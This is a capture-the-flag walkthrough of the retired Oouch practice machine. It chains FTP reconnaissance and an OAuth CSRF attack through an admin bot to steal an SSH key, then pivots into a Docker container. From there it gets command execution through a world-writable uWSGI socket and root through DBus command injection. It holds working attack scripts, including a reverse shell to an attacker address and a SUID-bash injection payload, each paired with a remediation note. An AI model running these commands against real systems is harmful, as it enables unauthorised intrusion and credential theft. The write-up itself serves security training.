Oouch
Summary
The Oouch target ($TARGET) hosted a two-application OAuth2 platform: a Flask consumer on port 5000 and a Django authorization server on port 8000. An anonymous FTP service handed me a complete map of the internal architecture before any authenticated request was made. A guessable developer password on the Django server enabled registration of my own OAuth client.
The account-link authorization endpoint carried no CSRF state parameter, so the consumer application's admin contact bot was used to force the administrator into silently granting my OAuth client access to the admin account. Because /oauth/authorize grants a client on a GET with no confirmation step, the resulting authorization code was delivered to my own listener. Exchanging that code for a bearer token and calling the protected /api/get_ssh endpoint returned the system user qtc's SSH private key, providing shell access to the host.
An unpassphrase-protected second SSH key in qtc's home directory pivoted into the internal Flask Docker container, where the uWSGI application socket was world-writable due to a chmod-sock=777 configuration error. A crafted uWSGI protocol packet executed commands as www-data, and a root-owned DBus service that passed the caller-supplied IP argument directly into a shell-executed iptables command was then invoked with injected metacharacters, completing full root compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD="<the-password-you-recovered, for develop>"
export TOKEN="<the-token-you-captured>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Some commands also carry a value in angle brackets (<a-name-you-choose>, <access_token>, <captured_code>, <csrf_token>, <ssh_key_value>, <the-name-you-chose>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Identify open services and version banners.
$ nmap -sV -sC -p 21,22,5000,8000 $TARGETCurl logs into FTP anonymously unless told otherwise, which is the whole finding: the listing comes back to anyone.
$ curl -s ftp://$TARGET/Read project.txt: reveals the Flask/Django OAuth2 architecture.
$ curl -s ftp://$TARGET/project.txtRegister both virtual-host names for local resolution.
$ echo "$TARGET consumer.oouch.htb authorization.oouch.htb" | sudo tee -a /etc/hostsFixDisable anonymous FTP access and remove sensitive architecture documents from the FTP serverMedium
Exact commands 3
Which names the server treats as accounts at all. A wordlist run against the one that answers differently is the next step.
$ for u in develop developer admin qtc; do printf '%s ' "$u"; curl -s -o /dev/null -w '%{http_code}\n' -X POST 'http://authorization.oouch.htb:8000/login/' -d "username=$u&password=x"; doneFetch the login page and extract the Django CSRF token value.
$ curl -s -c auth_cookies.txt 'http://authorization.oouch.htb:8000/login/' | grep -i 'csrfmiddlewaretoken' | head -1Authenticate as the develop account; a 302 followed by 200 confirms success.
$ curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://authorization.oouch.htb:8000/login/' -d "username=develop&password=$PASSWORD&csrfmiddlewaretoken=<csrf_token>" -L -o /dev/null -w '%{http_code}'FixEnforce strong, unique passwords and least-privilege on all developer accountsHigh
Exact commands 6
Fetch the application registration form and extract the CSRF token.
$ curl -s -c auth_cookies.txt -b auth_cookies.txt 'http://authorization.oouch.htb:8000/oauth/applications/register/' | grep csrfmiddlewaretoken | head -1Register my OAuth client using the develop session; record the issued client_id.
$ curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://authorization.oouch.htb:8000/oauth/applications/register/' -d "name=AttackerApp&client_id=atkClientId1234&client_secret=$TOKEN&client_type=confidential&authorization_grant_type=authorization-code&redirect_uris=http://$ATTACKER_IP:8081/callback&csrfmiddlewaretoken=<csrf_token>" -H 'Referer: http://authorization.oouch.htb:8000/oauth/applications/register/'An ordinary account on the consumer. /contact redirects to the login page without one.
$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/register' --data-urlencode 'username=<a-name-you-choose>' --data-urlencode "password=$CHOSEN_PASSWORD"The session the contact form needs.
$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/login' --data-urlencode 'username=<the-name-you-chose>' --data-urlencode "password=$CHOSEN_PASSWORD"Start my listener to catch the authorization code redirect.
$ python3 -m http.server 8081 2>&1 | tee /tmp/listener.log &Submit the CSRF URL to the contact form; the admin bot follows it, authorizing my app under the admin identity. Replace $ATTACKER_IP with my IP.
$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/contact' -d "message=http://authorization.oouch.htb:8000/oauth/authorize/?client_id=atkClientId1234%26response_type=code%26redirect_uri=http://$ATTACKER_IP:8081/callback%26scope=read"FixRequire a CSRF state parameter on the OAuth2 authorization endpointCritical
Exact commands 2
Extract the authorization code value from the captured redirect request.
$ grep 'GET /callback?code=' /tmp/listener.logExchange the captured code for a bearer access_token at the token endpoint.
$ curl -s -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -d "grant_type=authorization_code&code=<captured_code>&redirect_uri=http://$ATTACKER_IP:8081/callback&client_id=atkClientId1234&client_secret=$TOKEN"FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
Exact commands 2
Call the protected endpoint; the response JSON includes ssh_server, ssh_user, and ssh_key fields containing qtc's private key.
$ curl -s -H 'Authorization: Bearer <access_token>' 'http://authorization.oouch.htb:8000/api/get_ssh/'Save the returned private key to disk with correct permissions.
$ python3 -c "import sys; k=sys.argv[1]; open('/tmp/id_oouch_qtc','w').write(k); import os; os.chmod('/tmp/id_oouch_qtc',0o600)" "<ssh_key_value>"Exact commands 2
Log in as qtc using the stolen private key.
$ ssh -i /tmp/id_oouch_qtc -o StrictHostKeyChecking=no qtc@$TARGETRead the user flag: <user.txt>.
$ cat /home/qtc/user.txtExact commands 5
From qtc's shell: list SSH keys; id_rsa is an unprotected key.
$ ls -la ~/.ssh/Identify Docker bridge subnets; look for $INTERNAL_HOST/24.
$ ip route showThe key opens more than one container. The one with /code in it is the consumer.
$ for n in $(seq 2 8); do printf "$INTERNAL_PREFIX.%s " "$n"; ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no -o ConnectTimeout=2 "$INTERNAL_PREFIX.$n" 'hostname; ls /code 2>/dev/null | head -3' 2>&1 | tr '\n' ' '; echo; doneConnect to the Flask consumer Docker container using the unprotected key.
$ ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no $INTERNAL_HOST2Confirm chmod-sock=777 in uwsgi.ini and world-writable permissions (srw-rw-rw-) on the socket.
$ cat /code/uwsgi.ini && ls -la /tmp/uwsgi.socketFixRemove passphrase-free SSH private keys from user home directoriesHigh
Exact commands 2
Start a reverse-shell listener on my machine before sending the uWSGI packet.
$ nc -lvnp 4444The heredoc is unquoted so the listener address is substituted here; everything else in the script is the target's own syntax.
$ python3 - <<PY
import os, socket, struct
def pack_var(key, value):
kb, vb = key.encode(), value.encode()
return struct.pack('<HH', len(kb), len(vb)) + kb + vb
# The exec:// modifier tells uWSGI the 'application' to load is a
# command. The socket is world-writable, so anyone in the container
# can ask for one.
cmd = "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
body = pack_var('UWSGI_FILE', 'exec://' + cmd)
head = struct.pack('<BHB', 0, len(body), 0)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/tmp/uwsgi.socket')
s.send(head + body)
print(s.recv(4096)[:200])
PYFixRestrict uWSGI socket permissions to the application owner and web server groupCritical
Exact commands 3
Confirm www-data is listed as an allowed sender to the htb.oouch.Block destination.
$ cat /etc/dbus-1/htb.oouch.Block.confRun from the www-data shell obtained in step 8. The semicolons escape the iptables argument; chmod +s /bin/bash executes as root.
$ python3 - <<'PY'
import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
iface = dbus.Interface(obj, dbus_interface='htb.oouch.Block')
payload = '; chmod +s /bin/bash ;'
print(iface.Block(payload))
bus.close()
PYOpen a SUID-elevated bash shell, verify root (uid=0), and read the root flag: <root.txt>.
$ /bin/bash -p -c 'id && cat /root/root.txt'FixSanitize input to the htb.oouch.Block DBus service and drop root privileges from the serviceCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 21/tcp | ftp vsftpd 2.0.8 or later |
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 5000/tcp | http nginx 1.14.2 |
| 8000/tcp | rtsp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.